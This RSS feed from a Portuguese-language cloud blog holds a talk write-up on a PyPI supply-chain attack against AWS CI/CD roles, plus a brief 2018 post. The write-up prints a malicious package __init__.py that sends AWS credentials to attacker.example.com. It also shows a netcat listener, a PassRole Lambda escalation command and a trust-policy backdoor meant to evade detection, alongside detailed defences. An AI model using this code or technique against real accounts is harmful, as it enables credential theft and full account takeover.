<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Café Com Cloud</title><link>https://blog.cafecomcloud.com.br/pt-br/</link><description>Recent content on Café Com Cloud</description><generator>Hugo -- gohugo.io</generator><language>pt-br</language><lastBuildDate>Mon, 29 Jun 2026 09:00:00 -0300</lastBuildDate><atom:link href="https://blog.cafecomcloud.com.br/pt-br/index.xml" rel="self" type="application/rss+xml"/><item><title>De pip install a Root: anatomia de um ataque de supply chain na AWS</title><link>https://blog.cafecomcloud.com.br/pt-br/2026/06/29/de-pip-install-a-root/</link><pubDate>Mon, 29 Jun 2026 09:00:00 -0300</pubDate><guid>https://blog.cafecomcloud.com.br/pt-br/2026/06/29/de-pip-install-a-root/</guid><description>&lt;p&gt;A cena é familiar: você adiciona uma dependência no &lt;code&gt;requirements.txt&lt;/code&gt; do seu pipeline de CI/CD, roda &lt;code&gt;pip install&lt;/code&gt;, e o instalador termina sem warnings, com todas as dependências resolvidas. Cinco minutos depois, alguém na internet está autenticado na sua conta AWS, montou uma Lambda com permissões administrativas e fez dump da tabela de PII de clientes, e você não rodou mais nada nesse intervalo além daquele único &lt;code&gt;pip install&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Eu mostrei exatamente isso ao vivo no AWS Community Day Brasil 2026 no último sábado 27 de junho. O evento foi sensacional, muito bem organizado e fiquei bem feliz por ver tantas pessoas querendo ganhar conhecimento em AWS. Este post é o passo a passo do ataque e o passo a passo da defesa.&lt;/p&gt;
&lt;h2 id="por-que-isso-importa"&gt;Por que isso importa
&lt;/h2&gt;&lt;p&gt;Ataques de supply chain têm crescido ano sobre ano com regularidade publicada por relatórios da indústria, e o incidente do LiteLLM em março de 2026 é um exemplo público recente que ilustra o padrão: o pacote &lt;code&gt;litellm&lt;/code&gt; no PyPI foi comprometido durante uma janela de aproximadamente cinco horas, com um credential stealer publicado em duas versões maliciosas (&lt;code&gt;1.82.7&lt;/code&gt; e &lt;code&gt;1.82.8&lt;/code&gt;) que executavam no momento do &lt;code&gt;import litellm&lt;/code&gt;, vazando chaves AWS, chaves SSH e tokens de orquestração para infraestrutura controlada pelos atacantes em todos os ambientes que fizeram &lt;code&gt;pip install litellm&lt;/code&gt; durante a janela sem version pinning. A própria LiteLLM publicou disclosure do incidente em &lt;code&gt;docs.litellm.ai/blog/security-update-march-2026&lt;/code&gt; com IoCs documentados e janela de comprometimento confirmada.&lt;/p&gt;
&lt;p&gt;O detalhe que costuma passar batido nessa categoria de ataque é que o alvo são identidades de CI/CD especificamente, não as credenciais de aplicação em produção. CI/CD é onde estão as identidades mais privilegiadas do ambiente, porque pipelines de deploy precisam criar Lambdas, atualizar policies e fazer PassRole para uma variedade grande de roles, o que dá a essas identidades um IAM access mais largo do que qualquer aplicação em produção. Ao mesmo tempo, esses mesmos pipelines rodam código de terceiros (pacotes do PyPI, do npm) de forma rotineira como parte do build, o que cria a superfície de ataque exata: privilégio alto combinado com execução de código não auditado.&lt;/p&gt;
&lt;p&gt;A função IAM que processa o seu deploy provavelmente tem &lt;code&gt;iam:PassRole&lt;/code&gt; em &lt;code&gt;Resource: *&lt;/code&gt; e &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt;, porque a alternativa de mapear cada PassRole específico que algum deploy futuro pode precisar é trabalhosa e raramente é feita corretamente em pipelines maduros. Se um pacote malicioso conseguir executar dentro dessa função, ele herda essas permissões e usa elas a favor dele, o que significa que você acabou de dar root para alguém que nunca interagiu diretamente com a sua infraestrutura.&lt;/p&gt;
&lt;p&gt;A diferença pra outros tipos de breach é que aqui você não foi hackeado por um atacante externo que descobriu uma vulnerabilidade na sua aplicação. Você instalou voluntariamente o seu próprio compromisso, com &lt;code&gt;pip install&lt;/code&gt;, executando o exato mesmo comando que vai rodar mais cem vezes nos próximos meses sem nunca disparar uma única revisão.&lt;/p&gt;
&lt;h2 id="a-kill-chain-ao-vivo"&gt;A kill chain ao vivo
&lt;/h2&gt;&lt;p&gt;Na demo eu rodei a cadeia completa em três terminais coloridos lado a lado: vítima em verde, atacante em vermelho, defensor em ciano. Os oito passos abaixo seguem a ordem cronológica da execução, com o detalhe técnico do que acontece em cada um.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Vítima instala um pacote.&lt;/strong&gt; O pacote chamado &lt;code&gt;aws_lambda_utils_helpers&lt;/code&gt; parece um helper utilitário para funções Lambda, com nome plausível o suficiente para passar despercebido em uma code review de dependências:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip install aws_lambda_utils_helpers
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;A instalação termina sem warnings, scanners de pacotes baseados em assinaturas conhecidas não detectam nada porque o pacote é novo o suficiente para não ter sido catalogado ainda, e o &lt;code&gt;setup.py&lt;/code&gt; não contém nada visivelmente malicioso para quem fizer uma inspeção rápida.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. O código importa o módulo.&lt;/strong&gt; Quando a aplicação faz &lt;code&gt;from lambda_helpers import format_response&lt;/code&gt; durante a execução real (em uma Lambda, em um container ECS, ou no runner de CI/CD), o Python executa o &lt;code&gt;__init__.py&lt;/code&gt; do pacote antes de devolver o módulo importado, e é nesse momento que o payload é executado, não durante o &lt;code&gt;pip install&lt;/code&gt; original, que apenas copia arquivos para o filesystem sem invocar nenhum código de aplicação.&lt;/p&gt;
&lt;p&gt;O conteúdo do &lt;code&gt;__init__.py&lt;/code&gt; em uma versão simplificada para o post:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;json&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;threading&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_exfil&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;AWS_ACCESS_KEY_ID&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;secret&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;AWS_SECRET_ACCESS_KEY&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;token&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;AWS_SESSION_TOKEN&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;attacker.example.com&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4444&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;_exfil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;daemon&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;A escolha de uma thread daemon é deliberada, porque o processo principal segue normalmente, a aplicação responde com latência esperada e nenhum efeito observável aparece nos logs da Lambda, enquanto as credenciais vazam em paralelo por TCP raw para o endpoint controlado pelo atacante.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. As variáveis de ambiente já estão lá.&lt;/strong&gt; Em toda Lambda, todo container ECS, todo deploy runner de CI/CD, as credenciais STS estão expostas como variáveis de ambiente porque é a forma padrão que o SDK e o CLI da AWS consomem credenciais nesses contextos. O pacote malicioso só precisa ler &lt;code&gt;os.environ&lt;/code&gt;, sem necessidade de explorar vulnerabilidade no host nem de escalar privilégio no nível do sistema operacional, porque as credenciais já estão entregues pelo runtime exatamente no formato que o código de exfiltração precisa.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Atacante valida o que recebeu.&lt;/strong&gt; Do lado do atacante, um &lt;code&gt;nc -l 4444&lt;/code&gt; captura o JSON que chega pelo socket, e o primeiro reflex é rodar &lt;code&gt;aws sts get-caller-identity&lt;/code&gt; com as credenciais capturadas, confirmando que está autenticado como &lt;code&gt;cicd-deploy-role&lt;/code&gt; e validando que o token STS ainda está ativo dentro do TTL de uma hora antes de prosseguir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Reconhecimento.&lt;/strong&gt; O atacante roda enumeração para mapear o que essa identidade pode fazer: quais Lambda functions já existem, quais roles têm permissões administrativas, e quais dessas roles confiam em &lt;code&gt;lambda.amazonaws.com&lt;/code&gt; no trust policy e portanto podem ser executadas via Lambda. Um padrão muito comum em contas de produção é existir pelo menos uma role legada com AdministratorAccess que confia em Lambda, geralmente criada para algum projeto antigo ou em algum momento em que alguém precisou debugar algo &amp;ldquo;rápido&amp;rdquo; e nunca foi removida depois. Vou chamar essa role de &lt;code&gt;data-pipeline-role&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. PassRole + CreateFunction = admin.&lt;/strong&gt; O CI/CD identity tem &lt;code&gt;iam:PassRole on *&lt;/code&gt; porque pipelines de deploy precisam fazer PassRole para Lambdas variadas, e tem &lt;code&gt;lambda:CreateFunction&lt;/code&gt; pela mesma razão. O atacante combina os dois em uma única chamada que cria uma Lambda nova passando a &lt;code&gt;data-pipeline-role&lt;/code&gt; como execution role:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda create-function &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name exfil &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --role arn:aws:iam::123456789012:role/data-pipeline-role &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --runtime python3.12 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --handler index.handler &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --zip-file fileb://payload.zip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;A Lambda agora executa como &lt;code&gt;data-pipeline-role&lt;/code&gt;, que carrega AdministratorAccess via trust policy de Lambda, e invocar a função dispara o payload do atacante com permissões totais na conta AWS. Em menos de 30 segundos depois do import malicioso, o atacante tem o equivalente operacional a admin na conta.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7. Smash and grab.&lt;/strong&gt; O payload da Lambda escaneia a tabela DynamoDB de clientes e dumpa as linhas de PII de volta para o endpoint do atacante. Na demo do Community Day eu mostrei 8 registros, mas o mesmo código funciona com 8 milhões, dado que a Lambda paga pelo seu próprio compute e o atacante não usa nem um byte de quota da conta dele para o processamento. Cinco minutos do &lt;code&gt;pip install&lt;/code&gt; original até as linhas de PII saindo da sua conta AWS pelo socket de exfiltração.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;8. Persistência.&lt;/strong&gt; O atacante sabe que as credenciais STS de CI/CD têm TTL de uma hora e que daqui a pouco ele perde acesso pela rotação natural do token, então enquanto ainda tem as credenciais de CI/CD ativas (que carregam &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt; no policy, exatamente a permissão que o passo 6 não chegou a usar), ele edita o trust policy da &lt;code&gt;data-pipeline-role&lt;/code&gt; para confiar em uma role que ele controla, que pode ser uma role em uma conta dele ou, no padrão mais sofisticado, uma role same-account com uma &lt;code&gt;sts:ExternalId&lt;/code&gt; condition específica. Quando as credenciais originais expirarem pela rotação, o backdoor continua plantado, e ele consegue voltar pela porta dos fundos assumindo essa role-de-trás a qualquer momento futuro.&lt;/p&gt;
&lt;p&gt;A escolha de same-account com ExternalId condition é deliberada para evitar detecção, porque detectores de &amp;ldquo;external trust&amp;rdquo; como o AWS Access Analyzer disparam alerta quando uma role passa a confiar em um principal de outra conta ou em &lt;code&gt;*&lt;/code&gt;, mas trust de same-account com Principal específico e ExternalId condition passa direto pelos heurísticos desses scanners. Você não vê alarme no console, o time de segurança não recebe ticket automático, e a persistência fica plantada esperando o atacante voltar quando quiser.&lt;/p&gt;
&lt;h2 id="três-camadas-de-defesa"&gt;Três camadas de defesa
&lt;/h2&gt;&lt;p&gt;Nenhuma das camadas abaixo bloqueia 100% dos ataques sozinha, mas implementadas em conjunto elas bloqueiam algo em torno de 90% dos ataques desse padrão específico. Eu listo na ordem do mais cedo no kill chain para o mais tarde, porque o ROI da defesa cai conforme você atrasa a detecção dentro da cadeia.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Camada 1: higiene de supply chain.&lt;/strong&gt; O ataque só funciona se o pacote malicioso entrar na sua build, então a primeira camada controla exatamente o que entra:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cooldowns em pacotes novos&lt;/strong&gt;, com versões publicadas há menos de N dias (eu uso 7 como default) bloqueadas no seu proxy interno de pacotes (Nexus, Artifactory, ou AWS CodeArtifact), porque atacantes precisam que o pacote seja instalado rapidamente depois do compromise para capturar o máximo de credenciais antes do PyPI remover o pacote do registry. Um cooldown de uma semana derrota a janela de oportunidade desses ataques.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pin de versão estrito&lt;/strong&gt;, com &lt;code&gt;aws_lambda_utils_helpers==1.2.3&lt;/code&gt; em vez de &lt;code&gt;aws_lambda_utils_helpers&amp;gt;=1.2.0&lt;/code&gt;, combinado com hash check no &lt;code&gt;requirements.txt&lt;/code&gt; ou no equivalente do seu gerenciador (Poetry lock, package-lock.json, etc.), garantindo que o build de hoje vai consumir exatamente o mesmo pacote que o build de ontem em vez de aceitar silenciosamente uma versão nova publicada nesse meio tempo.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audit dos imports recentes&lt;/strong&gt;, que não é review do que está no &lt;code&gt;requirements.txt&lt;/code&gt; há anos (o catálogo histórico), mas review do que entrou no &lt;code&gt;requirements.txt&lt;/code&gt; semana passada, quem adicionou, e por quê. A maior parte do risco está concentrada nos imports novos, não nos imports antigos que já passaram por múltiplos builds e múltiplos olhos.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Camada 2: identity hardening.&lt;/strong&gt; Se o pacote malicioso já está rodando dentro do seu Lambda ou container CI, a defesa precisa ser IAM, e foca em duas mudanças específicas no policy do CI/CD identity:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escope &lt;code&gt;iam:PassRole&lt;/code&gt;&lt;/strong&gt; para um conjunto fechado de roles seguras em vez de &lt;code&gt;Resource: *&lt;/code&gt;, idealmente uma role única (&lt;code&gt;cicd-lambda-safe-role&lt;/code&gt;) que carrega apenas as permissões mínimas necessárias para execução de Lambdas de aplicação. Com PassRole escopado dessa forma, a &lt;code&gt;data-pipeline-role&lt;/code&gt; (que tem AdministratorAccess via legado) simplesmente não está no conjunto de roles que o atacante pode passar para uma função Lambda nova, e a escalada para admin falha com &lt;code&gt;AccessDenied&lt;/code&gt; no momento do &lt;code&gt;CreateFunction&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remova &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt;&lt;/strong&gt; do policy do CI/CD, porque pipelines legítimos quase nunca precisam modificar trust policies de roles existentes. Eles criam roles novas, sim, mas modificar trust de uma role que já existe é uma operação rara e suspeita por padrão, e quando você remove essa permissão a persistência via backdoor de trust policy quebra no passo 8 da cadeia.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Essas duas mudanças no JSON do policy do CI/CD quebram o kill chain inteiro a partir do passo 4: PassRole escopado bloqueia a escalada para admin no momento de criar a Lambda exfiltradora, e UpdateAssumeRolePolicy removido bloqueia a persistência por backdoor. O atacante ainda consegue rodar a exfiltração inicial de credenciais (passos 1 a 4 da cadeia), mas perde a capacidade de transformar isso em comprometimento total da conta.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Camada 3: runtime detection.&lt;/strong&gt; Mesmo com as duas camadas anteriores aplicadas, você não deve confiar que o policy está perfeitamente escrito, e portanto monitora a execução real:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CloudTrail e Athena&lt;/strong&gt; (ou o equivalente da sua stack de observabilidade) com alarme em &lt;code&gt;CreateFunction&lt;/code&gt; ou &lt;code&gt;UpdateFunctionConfiguration&lt;/code&gt; chamado por uma identidade de CI/CD em produção fora da janela esperada de deploy. Em uma conta saudável, esses eventos têm frequência baixa e perfil temporal previsível, então qualquer chamada fora desse perfil tem sinal alto e merece investigação imediata.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alarme em &lt;code&gt;UpdateAssumeRolePolicy&lt;/code&gt;&lt;/strong&gt; sem exceção. Esse evento é raríssimo em uma conta de produção bem operada, e qualquer ocorrência merece olhada humana imediata mesmo quando vem de uma identidade conhecida, porque é exatamente o evento que sinaliza tentativa de persistência por backdoor de trust policy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network egress monitoring&lt;/strong&gt; no nível de Lambda Functions e ECS tasks, porque conexões TCP raw saindo para IPs não-AWS são suspeitas por padrão. Ferramentas como AWS Network Firewall ou tooling de DPI no VPC permitem alarmar ou bloquear esse padrão antes que as credenciais saiam efetivamente do perímetro.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="você-já-foi-comprometido"&gt;Você já foi comprometido?
&lt;/h2&gt;&lt;p&gt;Se você está lendo isso e suspeita que pode ter sido afetado por um ataque parecido nos últimos meses, três queries imediatas pra rodar no CloudTrail antes de continuar: (1) chamadas de &lt;code&gt;iam:CreateFunction&lt;/code&gt; ou &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt; saindo do seu CI/CD identity fora da janela de deploy esperada nos últimos 90 dias, (2) &lt;code&gt;sts:AssumeRole&lt;/code&gt; recente vindo de IPs fora dos ranges AWS conhecidos, e (3) modificações em trust policy de roles que carregam permissões administrativas. Qualquer um desses três sinais é razão para acionar o time de segurança e rotacionar credenciais antes de fazer qualquer outra coisa.&lt;/p&gt;
&lt;h2 id="três-ações-pra-segunda-feira"&gt;Três ações pra segunda-feira
&lt;/h2&gt;&lt;p&gt;Você terminou de ler o post, e o post só tem valor real se você fizer alguma coisa concreta com ele. Aqui estão três ações que você pode executar na segunda-feira de manhã:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Liste as roles que têm &lt;code&gt;iam:PassRole&lt;/code&gt; com &lt;code&gt;Resource: *&lt;/code&gt;&lt;/strong&gt; usando a sua ferramenta preferida (AWS CLI, Steampipe, CloudQuery, Access Analyzer, ou o que sua organização padronizou para inventário de IAM). Você provavelmente vai descobrir que mais de uma role tem essa permissão tão aberta, e a recomendação é começar pelas identidades de CI/CD porque são as que mais expõem você ao padrão de ataque descrito neste post.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Liste as roles que têm &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt;&lt;/strong&gt; com a mesma ferramenta, e para cada uma delas faça a pergunta direta: essa role realmente precisa dessa permissão em produção, ou ela foi concedida em algum momento por conveniência e nunca foi reavaliada depois? A resposta correta para quase todas é &amp;ldquo;não precisa&amp;rdquo;, e a ação correspondente é remover.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Audita os pacotes que entraram no seu &lt;code&gt;requirements.txt&lt;/code&gt; ou no &lt;code&gt;package.json&lt;/code&gt; nos últimos 30 dias&lt;/strong&gt;, e para cada pacote novo responda: foi publicado quando? Por qual autor? O autor tem outras publicações antes desta? O pacote tem versões anteriores históricas, ou é versão única recente sem histórico de releases? Pacotes que se encaixam no perfil de &amp;ldquo;versão única, recente, autor sem histórico&amp;rdquo; merecem investigação manual cuidadosa antes de você aprovar o próximo build com eles incluídos no requirements.&lt;/p&gt;
&lt;p&gt;O trabalho total fica em torno de três horas, considerando que você gasta uma hora em cada ação acima. Custo: três horas de tempo de engenharia. Proteção: 90%+ dos ataques de supply chain do formato descrito neste post bloqueados estruturalmente. É provavelmente o melhor ROI de segurança que você consegue produzir esse mês com o tempo de engenharia disponível na sua agenda.&lt;/p&gt;
&lt;h2 id="slides-e-demo"&gt;Slides e demo
&lt;/h2&gt;&lt;p&gt;A apresentação completa com os 11 slides e a demo ao vivo dos três terminais está disponível como deck navegável: &lt;a class="link" href="https://blog.cafecomcloud.com.br/decks/de-pip-install-a-root/" &gt;Deck completo da apresentação&lt;/a&gt;. Use as setas do teclado para navegar entre slides, e a tecla &lt;code&gt;F&lt;/code&gt; para fullscreen.&lt;/p&gt;
&lt;p&gt;Até a próxima,
Leo&lt;/p&gt;</description></item><item><title>AWS Security - Respostas de Segurança Serverless</title><link>https://blog.cafecomcloud.com.br/pt-br/2018/11/22/aws-security-serverless-security-responses/</link><pubDate>Thu, 22 Nov 2018 10:37:12 -0200</pubDate><guid>https://blog.cafecomcloud.com.br/pt-br/2018/11/22/aws-security-serverless-security-responses/</guid><description>&lt;p&gt;Então, o que é incrível em cloud hoje? Automação, meus amigos.&lt;/p&gt;
&lt;p&gt;Funções Lambda podem ajudar muito, mas implementar um framework de resposta de segurança serverless é algo incrível e não muito comum.&lt;/p&gt;
&lt;p&gt;Abaixo temos um slide compartilhado pela AWS num Security Webinar semana passada. Como detectar autonomamente um membro comprometido de um autoscaling group, estabilizar o sistema e gerar dados forenses:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Security\\_Webinar46" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://blog.cafecomcloud.com.br/images/security_webinar46.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Legal, né?&lt;/p&gt;
&lt;p&gt;Falamos,&lt;/p&gt;
